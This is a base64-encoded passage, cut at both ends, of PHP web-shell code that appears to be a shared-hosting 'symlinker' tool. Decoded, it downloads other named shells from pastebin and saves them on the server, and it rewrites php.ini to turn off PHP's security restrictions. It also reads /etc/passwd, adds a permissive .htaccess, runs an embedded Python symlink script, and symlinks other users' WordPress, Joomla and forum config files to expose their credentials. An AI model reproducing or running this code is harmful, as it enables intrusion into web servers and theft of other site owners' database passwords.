aHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpjcGMucGhwIik7ICAgICAgICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydhbm9uZ2hvc3RzJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L0NtM1dzUVhMJywgcmVhbHBhdGgoIi4vIikgLiAnL2Fub25naG9zdHMucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246YW5vbmdob3N0cy5waHAiKTsgICAgICAgICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydibGFja2hhdCddKSkgew0KICAgICAgICAgICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9YRnMycFBCTScsIHJlYWxwYXRoKCIuLyIpIC4gJy9ibGFja2hhdC5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpibGFja2hhdC5waHAiKTsgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2ltYWdlc2hlbGwnXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvZVRiVE1CNHknLCByZWFscGF0aCgiLi8iKSAuICcvaW1hZ2VzaGVsbC5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjppbWFnZXNoZWxsLnBocCIpOyAgICAgICAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ21hZHNwb3QnXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvbWpLSlJmWEEnLCByZWFscGF0aCgiLi8iKSAuICcvbWFkc3BvdC5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjptYWRzcG90LnBocCIpOyAgICAgICAgIH0NCg0KICAgIGlmIChpc3NldCgkX1BPU1RbJ3BjZCddKSkgew0KICAgICAgICAgICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9jQmlpVTZNUicsIHJlYWxwYXRoKCIuLyIpIC4gJy9wY2QucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246cGNkLnBocCIpOyAgICAgICAgICAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydjaGV0YSddKSkgew0KICAgICAgICAgICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9INmFoNXJuRicsIHJlYWxwYXRoKCIuLyIpIC4gJy9jaGV0YS5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpjaGV0YS5waHAiKTsgICAgICAgICAgIH0NCg0KDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnMTMzN3dvcm0nXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvN1d3TmdXSGgnLCByZWFscGF0aCgiLi8iKSAuICcvMTMzN3dvcm0ucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246MTMzN3dvcm0ucGhwIik7ICAgICAgICAgICAgICAgIH0NCg0KDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnam9rZXInXSAgICkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvZUxUMlB0Wk4nLCByZWFscGF0aCgiLi8iKSAuICcvam9rZXIucGhwJyk7DQogICAgICAgIGhlYWRlcigibG9jYXRpb246am9rZXIucGhwIik7ICAgICAgICAgICB9DQoNCg0KICAgIGlmIChpc3NldCgkX1BPU1RbJ2IzNzRrJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L1VadUYxUktKJywgcmVhbHBhdGgoIi4vIikgLiAnL2IzNzRrLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmIzNzRrLnBocCIpOyAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQoNCg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3N5bWxpbmsnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oInBocC5pbmkiLCAidysiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgInNhZmVfbW9kZSA9IE9GRg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhZmVfbW9kZV9naWQgPSBPRkYNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaXNhYmxlX2NsYXNzZXMgPSBOT05FDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb3Blbl9iYXNlZGlyID0gT0ZGDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkUgIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48Zm9ybSBtZXRob2Q9IlBPU1QiPjx0ZXh0YXJlYSBuYW1lPSJwYXNzd2QiIHN0eWxlPSJkaXNwbGF5Om5vbmU7IiBjbGFzcz0nYXJlYScgcm93cz0nMjUnIGNvbHM9JzgwJz48P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyA/PjwvdGV4dGFyZWE+PGJyPjxicj48Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHJlZDsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPkFuMG4gM3hQbG9pVGVSICAgJiYgQWtEayBTeW1saW5rZXI8YnI+PGJyPjwvZm9udD48YnI+PGlucHV0IG5hbWU9ImNvbmZpZyIgdmFsdWU9IlBocCBTeW1saW5raW5nIiB0eXBlPSJzdWJtaXQiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InBzeW1saW5rIiB2YWx1ZT0iUHl0aG9uIFN5bWxpbmtpbmciPjxicj48L2Zvcm0+PC9jZW50ZXI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydwc3ltbGluayddKSkgew0KICAgICAgICAkcHN5bWxpbmsgPSAiSXk4cVVIbDBhRzl1Q2dwcGJYQnZjblFnZEdsdFpRcHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjbVVLQ205ekxuTjVjM1JsYlNnaVkyOXNiM0lnUXlJcENncG9kR0VnUFNBaVhHNUdhV3hsSURvZ0xtaDBZV05qWlhOeklDOHZJRU55WldGMFpXUWdVM1ZqWTJWemMyWjFiR3g1SVZ4dUlncG1JRDBnSWtGc2JDQlFjbTlqWlhOelpYTWdSRzl1WlNGY2JsTjViV3hwYm1zZ1FubHdZWE56WldRZ1UzVmpZMlZ6YzJaMWJHeDVJVnh1SWdwd2NtbHVkQ0FpWEc0aUNuQnlhVzUwSUNKVGVXMXNhVzVySUVKNWNHRnpjeUF5TURFMElHSjVJR2hCZUU5eUlIUnlNR3BCYmlvZ1hHNGlDbkJ5YVc1MElDSWdJQ0FnSUNBZ0lDQWdJQ0FnSUZOd1pXTnBZV3dnUjNKbFpYUjZJSFJ2SURvZ1RXRjFjbWwwWVc1cFlTQkJkSFJoWTJ0bGNpQW1JSFpKY210SlpDSUtDbTl6TG0xaGEyVmthWEp6S0NkemVXMXNhVzVySnlrS2IzTXVZMmhrYVhJb0ozTjViV3hwYm1zbktRb0tjM1Z6Y2oxYlhRcHphWFJsZUQxYlhRcHZjeTV6ZVhOMFpXMG9JbXh1SUMxeklDOGdkSEl1ZEhoMElpa0tDbWdnUFNBaVQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpYRzVFYVhKbFkzUnZjbmxKYm1SbGVDQjBjaTV3YUhSdGJGeHVRV1JrVkhsd1pTQjBlSFFnTG5Cb2NGeHVRV1JrU0dGdVpHeGxjaUIwZUhRZ0xuQm9jQ0lLYlNBOUlHOXdaVzRvSWk1b2RHRmpZMlZ6Y3lJc0luY3JJaWtLYlM1M2NtbDBaU2hvS1FwdExtTnNiM05sS0NrS2NISnBiblFnYUhSaENncHpaaUE5SUNJOGFIUnRiRDQ4ZEdsMGJHVStVM2x0YkdsdWF5QkNlWEJoYzNNZ01qQXhOQ0JpZVNCb1FYaFBjaUIwY2pCcVFXNHFQQzkwYVhSc1pUNDhZMlZ1ZEdWeVBqeG1iMjUwSUdOdmJHOXlQV0pzWVdOcklITnBlbVU5TlQ1VGVXMXNhVzVySUVKNWNHRnpjeUF5TURFMFBHSnlQanhtYjI1MElITnBlbVU5TkQ1TllXUmxJRUo1SUdoQmVFOXlJSFJ5TUdwQmJpb2dQR0p5UGtsa1pXRWdRbmtnVFdGMWNtbDBZVzVwWVNCQmRIUmhZMnRsY2lBbUlIWkpjbXRKUkR3dlptOXVkRDQ4TDJadmJuUStQR0p5UGp4bWIyNTBJR052Ykc5eVBXSnNZV05ySUhOcGVtVTlNejQ4ZEdGaWJHVStJZ29LYnlBOUlHOXdaVzRvSnk5bGRHTXZjR0Z6YzNka0p5d25jaWNwQ204OWJ5NXlaV0ZrS0NrS2J5QTlJSEpsTG1acGJtUmhiR3dvSnk5b2IyMWxMMXgzS3ljc2J5a0tDbVp2Y2lCNGRYTnlJR2x1SUc4NkNnbDRkWE55UFhoMWMzSXVjbVZ3YkdGalpTZ25MMmh2YldVdkp5d25KeWtLQ1hOMWMzSXVZWEJ3Wlc1a0tIaDFjM0lwQ25CeWFXNTBJQ0l0SWlvek1BcDRjMmwwWlNBOUlHOXpMbXhwYzNSa2FYSW9JaTkyWVhJdmJtRnRaV1FpS1FvS1ptOXlJSGg0YzJsMFpTQnBiaUI0YzJsMFpUb0tDWGg0YzJsMFpUMTRlSE5wZEdVdWNtVndiR0ZqWlNnaUxtUmlJaXdpSWlrS0NYTnBkR1Y0TG1Gd2NHVnVaQ2g0ZUhOcGRHVXBDbkJ5YVc1MElHWUtjR0YwYUQxdmN5NW5aWFJqZDJRb0tRcHBaaUFpTDNCMVlteHBZMTlvZEcxc0x5SWdhVzRnY0dGMGFEb0tDWEJoZEdnOUlpOXdkV0pzYVdOZmFIUnRiQzhpQ21Wc2MyVTZDZ2x3WVhSb0lEMGdJaTlvZEcxc0x5SUtZMjkxYm5SbGNqMHhDbWx3Y3oxdmNHVnVLQ0owY2k1d2FIUnRiQ0lzSW5jaUtRcHBjSE11ZDNKcGRHVW9jMllwQ2dwbWIzSWdablZ6Y2lCcGJpQnpkWE55T2dvSlptOXlJR1p6YVhSbElHbHVJSE5wZEdWNE9nb0pDV1oxUFdaMWMzSmJNRG8xWFFvSkNYTTlabk5wZEdWYk1EbzFYUW9KQ1dsbUlHWjFQVDF6T2dvSkNRbHBjSE11ZDNKcGRHVW9JangwY2o0OGRHUWdjM1I1YkdVOVptOXVkQzFtWVcxcGJIazZZMkZzYVdKeWFUdG1iMjUwTFhkbGFXZG9kRHBpYjJ4a08yTnZiRzl5T21Kc1lXTnJPejRsY3p3dmRHUStQSFJrSUhOMGVXeGxQV1p2Ym5RdFptRnRhV3g1T21OaGJHbGljbWs3Wm05dWRDMTNaV2xuYUhRNlltOXNaRHRqYjJ4dmNqcHlaV1E3UGlWelBDOTBaRDQ4ZEdRZ2MzUjViR1U5Wm05dWRDMW1ZVzFwYkhrNlkyRnNhV0p5YVR0bWIyNTBMWGRsYVdkb2REcGliMnhrT3o0OFlTQm9jbVZtUFhSeUxuUjRkQzlvYjIxbEx5VnpKWE1nZEdGeVoyVjBQVjlpYkdGdWF5QStKWE04TDJFK1BDOTBaRDRpSlNoamIzVnVkR1Z5TEdaMWMzSXNablZ6Y2l4d1lYUm9MR1p6YVhSbEtTa0tDUWtKWTI5MWJuUmxjajFqYjNWdWRHVnlLekU9IjsNCiAgICAgICAgJHVmZmYgPSBmb3Blbigic3ltLnB5IiwgInciKTsNCiAgICAgICAgQGZ3cml0ZSgkdWZmZiwgYmFzZTY0X2RlY29kZSgkcHN5bWxpbmspKTsNCiAgICAgICAgQGZjbG9zZSgkdWZmZik7DQogICAgICAgIGVjaG8gJzxjZW50ZXI+PHNwYW4gc3R5bGU9ImNvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6Y3Vyc2l2ZTsgZm9udC1zaXplOiAxMjAlOyI+JzsNCiAgICAgICAgQHN5c3RlbSgicHl0aG9uIHN5bS5weSIpOw0KICAgICAgICBlY2hvICc8YnI+PGJyPjxhIGhyZWY9InN5bWxpbmsiIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6IHJlZDsiPkNsaWNrIEhlcmU8L3NwYW4+PC9hPic7IGVjaG8gJzwvc3Bhbj48L2NlbnRlcj4nOw0KfQ0KDQppZiAoJF9QT1NUWydjb25maWcnXSkgew0KDQogICAgICAgICRwaHBfaW5pX2NvbnRlbnQgPSAiYzJGbVpWOXRiMlJsSUQwZ1QwWkdDZ2xUWVdabFgyMXZaR1ZmWjJsa0lEMGdUMFpHQ2dsa2FYTmhZbXhsWDJaMWJtTjBhVzl1Y3lBOUlFNVBUa1VLQ1dScGMyRmliR1ZmWTJ4aGMzTmxjeUE5SUU1UFRrVUtDVzl3Wlc1ZlltRnpaV1JwY2lBOUlFOUdSZ29KYzNWb2IzTnBiaTVsZUdWamRYUnZjaTVtZFc1akxtSnNZV05yYkdsemRDQTlJRTVQVGtVZyI7DQogICAgJHBocF9pbmkgPSBmb3BlbigicGhwLmluaSIsICJ3Iik7DQogICAgZndyaXRlKCRwaHBfaW5pLCBiYXNlNjRfZGVjb2RlKCRwaHBfaW5pX2NvbnRlbnQpKTsNCiAgICBmY2xvc2UoJHBocF9pbmkpOw0KICAgICRmdW5jdGlvbiA9ICRmdW5jdGlvbnMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCiAgICBpZiAoZXJlZ2koInN5bWxpbmsiLCAkZnVuY3Rpb25zKSkgew0KICAgICAgICBkaWUoJzxlcnJvcj5TeW1saW5rIGlzIGRpc2FibGVkIDooIDwvZXJyb3I+Jyk7DQogICAgfSBlbHNlIHsNCiAgICBAbWtkaXIoJ1VlWHBsb2lUJywgNzc3KTsNCiAgICBAY2hkaXIoJ1VlWHBsb2lUJyk7DQogICAgICAgICAgICAgICAgJGh0YWNjZXNzID0gIg0KT3B0aW9ucyBhbGwNCiAgICAgICAgIERpcmVjdG9yeUluZGV4IFN1eC5odG1sDQogICAgICAgICBBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KICAgICAgICAgQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCiAgICAgICAgICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwNCiAgICAgICAgIEFkZEhhbmRsZXIgdHh0IC5odG1sDQogICAgICAgICBSZXF1aXJlIE5vbmUNCiAgICAgICAgIFNhdGlzZnkgQW55DQoiOw0KICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIiwgJGh0YWNjZXNzLCBGSUxFX0FQUEVORCk7DQogICAgJHBhc3N3ZCA9ICRfUE9TVFsicGFzc3dkIl07DQogICAgJHBhc3N3ZCA9IGV4cGxvZGUoIg0KIiwgJHBhc3N3ZCk7DQogICAgZm9yZWFjaCAoJHBhc3N3ZCBhcyAkcHdkKSB7DQogICAgICAgICRwYXdkID0gZXhwbG9kZSgiOiIsICRwd2QpOw0KICAgICAgICAkdXNlciA9ICRwYXdkWzBdOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1zaG9wLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1zaG9wLW9zLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1vc2NvbS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1vc2NvbW1lcmNlLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1vc2NvbW1lcmNlcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1zaG9wMi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctc2hvcC1zaG9wcGluZy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsICR1c2VyIC4gJy1zYWxlLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsICR1c2VyIC4gJy1hbWVtYmVyLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbGlicmFyeS9jb25maWcucGhwJywgJHVzZXIgLiAnLXN5bWxpbmsnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21lbWJlcnMvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctbWVtYmVycy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCAkdXNlciAuICctNGltYWdlczEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLWZvcnVtLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZm9ydW1zL2luY2x1ZGVzL2NvbmZpZy5waHAnLCAkdXNlciAuICctZm9ydW1zLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCAkdXNlciAuICctNS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCAkdXNlciAuICctNC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy13cC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy1XUC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLXdwLWJldGEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy1iZXRhLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLXByZXNzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy13b3JkcHJlc3MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9Xb3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLVdvcmRwcmVzcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLVdvcmRwcmVzcy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3AxMy13b3JkcHJlc3MtYmV0YS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLW5ld3MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cDEzLW5ldy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1ibG9nLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJldGEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWJsb2dzLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLWhvbWUudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1wcm90YWwudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCAkdXNlciAuICctd3Atc2l0ZS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsICR1c2VyIC4gJy13cC1tYWluLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywgJHVzZXIgLiAnLXdwLXRlc3QudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9hcmNhZGUvZnVuY3Rpb25zL2RiY2xhc3MucGhwJywgJHVzZXIgLiAnLWlicHJvYXJjYWRlLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsICR1c2VyIC4gJy1pYnByb2FyY2FkZS50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEyLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1wcm90YWwudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1jbXMudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywgJHVzZXIgLiAnLWpvb21sYS1zaXRlLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEtbWFpbi50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ld3MudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLW5ldy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCAkdXNlciAuICctam9vbWxhLWhvbWUudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZiLWNvbmZpZy50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZiMy1jb25maWcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLXZiMS1jb25maWcudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywgJHVzZXIgLiAnLWluY2x1ZGVzLXZiLnR4dCcpOw0KQHN5bWxpbmsoJy9ob21lLycgLiAkdXNlciAuICcvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY2xhc3NfY29yZS5waHAnLCAkdXNlciAuICctdmJsdXR0aW4tY2xhc3NfY29yZS5waHAudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsICR1c2VyIC4gJy12Ymx1dHRpbi1jbGFzc19jb3JlLnBocDEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsICR1c2VyIC4gJy12Ymx1dHRpbi1jbGFzc19jb3JlLnBocDIudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsICR1c2VyIC4gJy1qb29tbGEudHh0Jyk7DQpAc3ltbGluaygnL2hvbWUvJyAuICR1c2VyIC4gJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCAkdXNlciAuICctemVuY2FydC50eHQnKTsNCkBzeW1saW5rKCcvaG9tZS8nIC4gJHVzZXIgLiAnL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZG